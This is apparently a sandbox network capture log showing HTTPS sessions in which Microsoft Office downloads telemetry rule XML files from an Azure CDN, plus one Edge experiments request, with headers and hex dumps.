2024-11-07 16:25:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:34 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162534Z-16547b76f7fvllnfhC1DFWxkg800000008dg00000000drt2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:34 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162534Z-16547b76f7ftdm8dhC1DFWs13g00000008ag00000000fux5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:34 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:34 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: cea947a8-501e-0029-0de6-2fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162534Z-17df447cdb5c9wvxhC1DFWn08n00000004rg00000000bbwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 2bb2c1a5-c01e-002b-605c-2e6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162534Z-17df447cdb528ltlhC1DFWnt1c00000004a000000000sk3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49863	13.107.246.45	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:34 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 7766441c-101e-008d-2e5c-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162535Z-15869dbbcc6tfpj2hC1DFW384c000000020g0000000062fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49867	94.245.104.56	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:35 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-07 16:25:35 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 07 Nov 2024 16:25:35 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:35 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:35 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162535Z-16547b76f7fcrtpchC1DFW52e800000008eg0000000096sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:35 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 9acac97d-a01e-0084-3378-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162535Z-15869dbbcc6lq2lzhC1DFWym6c00000003gg00000000cg13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:35 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 161ed898-101e-0017-1055-2e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162535Z-15869dbbcc6khw88hC1DFWbb2000000001vg00000000mf0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:36 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162536Z-16547b76f7fsjlq8hC1DFWehq0000000088g000000001vmd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:36 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 4847cb37-401e-0016-7fd2-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162536Z-16547b76f7f9rdn9hC1DFWfk7s00000008ag00000000h2af x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:36 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:36 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 512decfe-801e-0083-3058-2ef0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162536Z-17df447cdb5fzdpxhC1DFWdd3400000004qg0000000050cp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
